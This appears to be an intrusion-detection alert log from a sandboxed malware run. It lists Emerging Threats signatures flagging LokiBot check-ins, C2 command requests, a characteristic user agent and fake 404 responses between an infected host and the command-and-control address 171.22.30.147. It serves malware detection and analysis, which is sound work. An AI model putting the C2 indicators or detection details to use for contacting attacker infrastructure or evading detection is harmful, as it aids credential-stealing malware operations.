171.22.30.147192.168.2.380497162025483 01/05/23-08:52:14.437339	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49716	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749913802825766 01/05/23-08:53:14.593137	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49913	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750057802825766 01/05/23-08:53:56.743180	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50057	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749729802825766 01/05/23-08:52:19.554519	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49729	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749741802021641 01/05/23-08:52:22.916909	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49741	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749783802025381 01/05/23-08:52:36.372208	TCP	2025381	ET TROJAN LokiBot Checkin	49783	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749801802024318 01/05/23-08:52:41.371912	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49801	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500652025483 01/05/23-08:53:58.921375	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50065	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749838802025381 01/05/23-08:52:52.824149	TCP	2025381	ET TROJAN LokiBot Checkin	49838	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749954802021641 01/05/23-08:53:25.726692	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49954	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750079802021641 01/05/23-08:54:02.588823	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50079	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749861802025381 01/05/23-08:52:59.149010	TCP	2025381	ET TROJAN LokiBot Checkin	49861	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750006802025381 01/05/23-08:53:41.552586	TCP	2025381	ET TROJAN LokiBot Checkin	50006	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749876802021641 01/05/23-08:53:03.175112	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49876	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499852025483 01/05/23-08:53:36.104350	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49985	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500432025483 01/05/23-08:53:53.036023	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50043	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749780802825766 01/05/23-08:52:35.511333	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49780	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749884802825766 01/05/23-08:53:05.293982	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49884	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749875802825766 01/05/23-08:53:02.907470	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49875	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499662025483 01/05/23-08:53:31.030517	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49966	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749827802024313 01/05/23-08:52:48.461129	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49827	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499252025483 01/05/23-08:53:17.956704	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49925	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749847802825766 01/05/23-08:52:55.372015	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49847	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749752802825766 01/05/23-08:52:26.039085	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49752	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499222025483 01/05/23-08:53:17.153460	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49922	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749715802025381 01/05/23-08:52:14.021138	TCP	2025381	ET TROJAN LokiBot Checkin	49715	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749706802025381 01/05/23-08:52:09.771973	TCP	2025381	ET TROJAN LokiBot Checkin	49706	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750023802024313 01/05/23-08:53:47.546596	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50023	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749918802825766 01/05/23-08:53:15.920283	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49918	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497462025483 01/05/23-08:52:24.379899	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49746	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749874802024318 01/05/23-08:53:02.624496	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49874	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749829802025381 01/05/23-08:52:49.001962	TCP	2025381	ET TROJAN LokiBot Checkin	49829	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749874802024313 01/05/23-08:53:02.624496	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49874	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749827802024318 01/05/23-08:52:48.461129	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49827	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749732802024318 01/05/23-08:52:20.401546	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49732	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750018802021641 01/05/23-08:53:44.999195	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50018	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749899802025381 01/05/23-08:53:10.169881	TCP	2025381	ET TROJAN LokiBot Checkin	49899	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749732802024313 01/05/23-08:52:20.401546	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49732	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749945802024318 01/05/23-08:53:23.275014	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49945	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749885802021641 01/05/23-08:53:05.575803	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49885	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749734802025381 01/05/23-08:52:20.978367	TCP	2025381	ET TROJAN LokiBot Checkin	49734	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749930802025381 01/05/23-08:53:19.220224	TCP	2025381	ET TROJAN LokiBot Checkin	49930	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750048802025381 01/05/23-08:53:54.265201	TCP	2025381	ET TROJAN LokiBot Checkin	50048	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749957802024313 01/05/23-08:53:26.768134	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49957	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750053802021641 01/05/23-08:53:55.636070	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50053	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497872025483 01/05/23-08:52:37.593230	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49787	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749716802024318 01/05/23-08:52:14.357533	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49716	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749708802825766 01/05/23-08:52:10.789251	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49708	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749717802825766 01/05/23-08:52:14.673219	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49717	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497652025483 01/05/23-08:52:29.829156	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49765	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749890802024313 01/05/23-08:53:06.934564	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49890	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750049802024313 01/05/23-08:53:54.543372	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50049	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749701802021641 01/05/23-08:52:07.731855	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49701	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749914802021641 01/05/23-08:53:14.852027	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49914	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750049802024318 01/05/23-08:53:54.543372	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50049	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749890802024318 01/05/23-08:53:06.934564	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49890	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749901802825766 01/05/23-08:53:11.357263	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49901	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749704802021641 01/05/23-08:52:08.934535	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49704	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750069802825766 01/05/23-08:53:59.913079	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50069	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749739802021641 01/05/23-08:52:22.339123	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49739	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749716802024313 01/05/23-08:52:14.357533	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49716	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750040802825766 01/05/23-08:53:52.135869	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50040	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750081802021641 01/05/23-08:54:03.233046	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50081	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749888802021641 01/05/23-08:53:06.392338	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49888	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749735802024318 01/05/23-08:52:21.259701	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49735	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749871802024313 01/05/23-08:53:01.829225	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49871	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749873802025381 01/05/23-08:53:02.352866	TCP	2025381	ET TROJAN LokiBot Checkin	49873	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749942802021641 01/05/23-08:53:22.441601	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49942	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750009802021641 01/05/23-08:53:42.368696	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50009	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749826802025381 01/05/23-08:52:48.184567	TCP	2025381	ET TROJAN LokiBot Checkin	49826	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749743802025381 01/05/23-08:52:23.467755	TCP	2025381	ET TROJAN LokiBot Checkin	49743	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749871802024318 01/05/23-08:53:01.829225	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49871	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749956802025381 01/05/23-08:53:26.250117	TCP	2025381	ET TROJAN LokiBot Checkin	49956	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749872802825766 01/05/23-08:53:02.084337	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49872	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498512025483 01/05/23-08:52:56.520867	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49851	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500212025483 01/05/23-08:53:46.439893	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50021	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500272025483 01/05/23-08:53:48.680434	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50027	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749781802024313 01/05/23-08:52:35.821668	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49781	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498182025483 01/05/23-08:52:46.103882	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49818	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749781802024318 01/05/23-08:52:35.821668	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49781	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749887802825766 01/05/23-08:53:06.117016	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49887	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749731802825766 01/05/23-08:52:20.113614	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49731	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750046802025381 01/05/23-08:53:53.748051	TCP	2025381	ET TROJAN LokiBot Checkin	50046	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749848802024313 01/05/23-08:52:55.640788	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49848	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749826802825766 01/05/23-08:52:48.184567	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49826	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749825802024318 01/05/23-08:52:47.903129	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49825	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749844802825766 01/05/23-08:52:54.549139	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49844	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749703802825766 01/05/23-08:52:08.565296	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49703	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750066802825766 01/05/23-08:53:59.096230	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50066	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750020802024318 01/05/23-08:53:45.631791	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50020	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497192025483 01/05/23-08:52:15.922866	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49719	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749825802024313 01/05/23-08:52:47.903129	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49825	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750020802024313 01/05/23-08:53:45.631791	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50020	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497242025483 01/05/23-08:52:18.178959	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49724	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749852802025381 01/05/23-08:52:56.705137	TCP	2025381	ET TROJAN LokiBot Checkin	49852	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749963802021641 01/05/23-08:53:30.141323	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49963	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749767802021641 01/05/23-08:52:30.299348	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49767	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749769802025381 01/05/23-08:52:30.825016	TCP	2025381	ET TROJAN LokiBot Checkin	49769	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750074802025381 01/05/23-08:54:01.233569	TCP	2025381	ET TROJAN LokiBot Checkin	50074	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749792802825766 01/05/23-08:52:38.887901	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49792	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749870802025381 01/05/23-08:53:01.561418	TCP	2025381	ET TROJAN LokiBot Checkin	49870	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499882025483 01/05/23-08:53:36.904163	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49988	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500592025483 01/05/23-08:53:57.366003	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50059	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499822025483 01/05/23-08:53:35.304712	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49982	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749947802025381 01/05/23-08:53:23.814636	TCP	2025381	ET TROJAN LokiBot Checkin	49947	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749754802825766 01/05/23-08:52:26.655822	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49754	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749916802025381 01/05/23-08:53:15.372296	TCP	2025381	ET TROJAN LokiBot Checkin	49916	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749932802825766 01/05/23-08:53:19.762349	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49932	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499382025483 01/05/23-08:53:21.462781	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49938	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750008802025381 01/05/23-08:53:42.094852	TCP	2025381	ET TROJAN LokiBot Checkin	50008	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749904802825766 01/05/23-08:53:12.139251	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49904	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750047802024318 01/05/23-08:53:54.007519	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50047	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750048802825766 01/05/23-08:53:54.265201	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50048	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498832025483 01/05/23-08:53:05.117912	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49883	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750050802021641 01/05/23-08:53:54.799294	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50050	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749902802021641 01/05/23-08:53:11.610501	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49902	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749919802025381 01/05/23-08:53:16.188265	TCP	2025381	ET TROJAN LokiBot Checkin	49919	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749765802021641 01/05/23-08:52:29.748218	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49765	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750069802025381 01/05/23-08:53:59.913079	TCP	2025381	ET TROJAN LokiBot Checkin	50069	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497522025483 01/05/23-08:52:26.122774	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49752	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749905802021641 01/05/23-08:53:12.409052	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49905	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750055802021641 01/05/23-08:53:56.183544	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50055	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749753802024318 01/05/23-08:52:26.326305	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49753	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749700802825766 01/05/23-08:52:07.351938	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49700	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749857802021641 01/05/23-08:52:58.054307	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49857	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749727802021641 01/05/23-08:52:18.985108	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49727	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499002025483 01/05/23-08:53:11.081962	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49900	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749944802025381 01/05/23-08:53:23.021157	TCP	2025381	ET TROJAN LokiBot Checkin	49944	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750009802024313 01/05/23-08:53:42.368696	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50009	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749871802021641 01/05/23-08:53:01.829225	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49871	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749931802024318 01/05/23-08:53:19.484274	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49931	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750009802024318 01/05/23-08:53:42.368696	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50009	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749753802024313 01/05/23-08:52:26.326305	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49753	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750075802024313 01/05/23-08:54:01.517358	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50075	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749716802021641 01/05/23-08:52:14.357533	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49716	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749931802024313 01/05/23-08:53:19.484274	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49931	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750075802024318 01/05/23-08:54:01.517358	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50075	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749793802021641 01/05/23-08:52:39.171445	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749803802025381 01/05/23-08:52:41.905218	TCP	2025381	ET TROJAN LokiBot Checkin	49803	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749853802024313 01/05/23-08:52:56.960046	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49853	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749853802024318 01/05/23-08:52:56.960046	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49853	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750027802021641 01/05/23-08:53:48.599181	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50027	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749979802825766 01/05/23-08:53:34.430839	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49979	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749758802025381 01/05/23-08:52:27.765970	TCP	2025381	ET TROJAN LokiBot Checkin	49758	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749879802024313 01/05/23-08:53:03.965987	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49879	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500052025483 01/05/23-08:53:41.369351	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50005	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749847802025381 01/05/23-08:52:55.372015	TCP	2025381	ET TROJAN LokiBot Checkin	49847	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749823802825766 01/05/23-08:52:47.379297	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49823	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749928802021641 01/05/23-08:53:18.678448	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49928	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498732025483 01/05/23-08:53:02.440443	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49873	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750080802825766 01/05/23-08:54:02.852694	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50080	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749839802021641 01/05/23-08:52:53.202583	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49839	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750043802025381 01/05/23-08:53:52.949985	TCP	2025381	ET TROJAN LokiBot Checkin	50043	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749756802024318 01/05/23-08:52:27.231494	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49756	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749822802024313 01/05/23-08:52:47.112264	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49822	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749756802024313 01/05/23-08:52:27.231494	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49756	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749762802021641 01/05/23-08:52:28.868227	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49762	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749822802024318 01/05/23-08:52:47.112264	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49822	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749744802021641 01/05/23-08:52:23.736699	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49744	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749786802025381 01/05/23-08:52:37.217550	TCP	2025381	ET TROJAN LokiBot Checkin	49786	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749804802024318 01/05/23-08:52:42.167879	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49804	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497742025483 01/05/23-08:52:32.449175	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49774	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749810802021641 01/05/23-08:52:43.863274	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49810	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749982802025381 01/05/23-08:53:35.215314	TCP	2025381	ET TROJAN LokiBot Checkin	49982	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750047802024313 01/05/23-08:53:54.007519	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50047	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749940802021641 01/05/23-08:53:21.893765	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49940	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749833802021641 01/05/23-08:52:50.090304	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49833	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749875802025381 01/05/23-08:53:02.907470	TCP	2025381	ET TROJAN LokiBot Checkin	49875	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498392025483 01/05/23-08:52:53.283912	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49839	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499602025483 01/05/23-08:53:28.551541	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49960	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749980802024318 01/05/23-08:53:34.702395	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49980	80	192.168.2.3	171.22.30.147
